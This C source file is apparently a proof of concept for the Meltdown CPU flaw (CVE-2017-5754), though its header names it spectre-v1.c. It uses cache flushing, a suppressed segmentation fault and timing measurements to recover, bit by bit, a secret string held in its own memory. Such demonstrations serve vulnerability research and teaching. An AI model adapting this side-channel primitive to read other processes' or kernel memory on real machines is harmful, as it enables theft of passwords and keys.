/*
 * Filename: spectre-v1.c
 * Created Date: Tuesday, June 30th 2020, 6:53:22 pm
 * Author: koyst
 * 
 * Copyright (c) 2020 Your Company
 */

#include <setjmp.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

// #if defined(__x86_64__)
// /* 64 bit detected */
// #endif
// #if defined(__i386__)
// /* 32 bit x86 detected */
// #endif

#if defined(__x86_64__)
#include <x86intrin.h>
static inline void clflush(void* addr)
{
    _mm_clflush(addr);
    _mm_mfence();
}

static inline void dsbsy()
{
    _mm_mfence();
}
#endif

#if defined(__aarch64__)
static inline void clflush(void* addr)
{
    asm("dc civac, %[addr];"
        "dsb sy" ::[addr] "r"(addr));
}

static inline void dsbsy()
{
    asm("dsb sy");
}
#endif

/* Jump buffer */
static sigjmp_buf jmpbuf;

int debug = 0;
static struct timespec time_start = { 0, 0 }, time_end = { 0, 0 };

#define SIZE_CACHE_LINE 512

static uint64_t temp_val = 0;
uint8_t cache_buf[512 * SIZE_CACHE_LINE]; // 每次猜测1个无符号数, 每一个cache line 512byte数据
uint8_t bound_page[4096]; // 应该不需要
uint8_t* msg = "This is Meltdown Secret.";

void flush_cache_buf()
{
    for (int i = 0; i < 512; i++) {
        clflush(&cache_buf[i * SIZE_CACHE_LINE]);
    }
    dsbsy();
}

long time_read(uint8_t* addr)
{
    long ns = 0;
    // clock_gettime(CLOCK_MONOTONIC, &time_start);
    // dsbsy();
    clock_gettime(CLOCK_MONOTONIC, &time_start);
    dsbsy();
    temp_val &= *addr;
    dsbsy();
    clock_gettime(CLOCK_MONOTONIC, &time_end);
    // ns = (time_end.tv_sec - time_start.tv_sec) * 1000000000 + (time_end.tv_nsec - time_start.tv_nsec);
    ns = (time_end.tv_nsec - time_start.tv_nsec);
    return ns;
}

void probe_function(uint8_t* raise_addr, uint8_t* target_addr, int bit)
{
    // printf("bit: %d,  target_val: 0x%x, inx: %d\n", bit, *target_addr, ((*target_addr >> bit) & 1));
    *raise_addr = cache_buf[10 * SIZE_CACHE_LINE];
    // *raise_addr = 0;
    temp_val &= cache_buf[((*target_addr >> bit) & 1) * SIZE_CACHE_LINE];
}

void sig_handle(int sig_no, siginfo_t* info, void* ucontext)
{
    siglongjmp(jmpbuf, 1);
}

int get_val(int bit)
{
    long delay_0, delay_1;
    long delay_hit, delay_miss;
    long hit_threshold;

    temp_val &= cache_buf[SIZE_CACHE_LINE * 4];
    dsbsy();

    delay_hit = time_read(&cache_buf[SIZE_CACHE_LINE * 4]);
    delay_miss = time_read(&cache_buf[SIZE_CACHE_LINE * 5]);
    hit_threshold = (delay_miss + delay_hit) / 2;

    delay_0 = time_read(&cache_buf[0]);
    delay_1 = time_read(&cache_buf[SIZE_CACHE_LINE]);
    if (debug)
        printf("===bit: %d, cc: %c(%x), delay_0: %4d, dleay_1: %4d, hit: %4d, miss: %4d, hit_threshold: %4d \n",
            bit, *msg, *msg, delay_0, delay_1, delay_hit, delay_miss, hit_threshold);

    if (delay_0 < hit_threshold && delay_1 > hit_threshold) {
        return 0;
    } else if (delay_1 < hit_threshold && delay_0 > hit_threshold) {
        return 1;
    }
    return 2;
}

void set_signal()
{
    struct sigaction act;
    act.sa_sigaction = sig_handle;
    act.sa_flags = SA_SIGINFO;
    act.sa_flags = 0;
    sigaction(SIGSEGV, &act, NULL);
}

uint8_t meltdown_read_byte(uint8_t* target, int* p_precision)
{
    uint8_t value = 0;
    int precision = 1;
    for (int bit = 7; bit >= 0; bit--) {
        int hit0 = 0, hit1 = 0;
        for (int tries = 0; tries < 30; tries++) {
            flush_cache_buf();

            if (sigsetjmp(jmpbuf, 1) == 1) {
                // 异常退出, 异常返回将到这儿
            } else {
                /* SIGSEGV */
                probe_function(0, target, bit);
                printf("here always not be executed\n");
            }
            switch (get_val(bit)) {
            case 0:
                hit0++;
                break;
            case 1:
                hit1++;
                break;
            }
        }
        value = value << 1;
        if (hit0 > hit1 * 2) {
        } else if (hit1 > hit0 * 2) {
            value |= 1;
        } else {
            precision = 0;
            if (hit1 > hit0) {
                value |= 1;
            }
        }
    }
    *p_precision = precision;
    return value;
}

void meltdown_read()
{
    set_signal();
    uint8_t* target = msg;
    uint8_t values[100] = { 0 };
    for (int i = 0; i < 99 && *target; i++, target++) {
        int precision;
        values[i] = meltdown_read_byte(target, &precision);
        printf("got %c, expect(%c), precision: %d\n", values[i], *target, precision);
    }
    printf("****************************************\n");
    printf("target: %s\n", msg);
    printf("expect: %s\n", values);
}

int main(int argc, char const* argv[])
{
    if (argc == 2) {
        if (!strcmp("-debug", argv[1])) {
            debug = 1;
        } else if (!strcmp("-h", argv[1])) {
            printf("usage: %s [-h|-debug]\n", argv[0]);
            return 0;
        }
    }

    printf(
        "****************************************\n"
        "Meltdown-V3 (CVE-2017-5754) POC test by Koyst.\n"
        "out-of-order execution, rogue data cache load.\n"
        "****************************************\n");

    flush_cache_buf(); // 准备缓存, 其实可以不需要, 有的话效果可能更好
    // spec_read();
    meltdown_read();
    return 0;
}
